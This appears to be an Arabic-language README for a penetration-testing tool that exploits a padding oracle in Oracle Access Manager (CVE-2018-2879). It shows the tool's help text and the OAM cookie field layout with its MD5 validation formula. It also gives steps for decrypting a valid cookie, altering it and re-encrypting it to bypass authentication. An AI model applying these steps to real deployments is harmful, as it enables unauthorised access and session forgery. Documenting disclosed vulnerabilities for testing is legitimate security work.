
استغلال Padding oracle لـ Oracle Access Manager (CVE-2018-2879) يتيح فك تشفير الكوكيز المشفرة وتشفير نص عشوائي لتجاوز المصادقة أثناء اختبارات الاختراق.
تم تطوير هذه الأداة أثناء اختبار الاختراق ضد Oracle OAM 11.1.2.3.0. تم تطويرها بناءً على الوصف الفني المقدم من sec-consult
https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/
تعتمد الأداة على python-paddingoracle ويمكن تحميلها من هنا
https://github.com/mwielgoszewski/python-paddingoracle
# python oracle-oam-exploit.py -h
####### # # # #######
# # # # ## ## # # # ##### # #### # #####
# # # # # # # # # # # # # # # # # #
# # # # # # # ##### ## # # # # # # #
# # ####### # # # ## ##### # # # # #
# # # # # # # # # # # # # # #
####### # # # # ####### # # # ###### #### # #
Oracle Padding Oracle
coded by: Mostafa Soliman
usage: oracle-oam-exploit.py [-h] [-e ENCRYPT] [-d DECRYPT] [-v] URL
positional arguments:
URL Target resource URL
optional arguments:
-h, --help show this help message and exit
-e ENCRYPT, --encrypt ENCRYPT
Encrypt plain text data
-d DECRYPT, --decrypt DECRYPT
Decrypt base64 encode cipher text
-v, --verb Show decrypt block info
تستقبل الأداة عنوان URL للمورد الذي يتطلب مصادقة Oracle OAM. تقوم بالخطوات التالية:
يمكن للمختبر تحديد أي قيمة مشفرة (encquery, encreplay, cookie) يرغب في فك تشفيرها باستخدام العلامة -d.
يمكن للمختبر تحديد أي قيمة نصية عادية يرغب في تشفيرها باستخدام العلامة -e.
من خلال هندسة عكسية لـ Oracle OAM SDK يمكننا أن نرى أن الكوكي يتكون من الهيكل التالي:
Salt= ACL= AuthId= Ip= TCT= SessionId= userId= validate=BASE64Encode(MD5(Salt+AuthId+Ip+ACL+TCT+SessionId))
لذا لبناء كوكي، احصل على كوكي نصي عادي صالح باستخدام العلامة -d، قم بتعديله ثم قم بتشفيره مرة أخرى باستخدام -e.
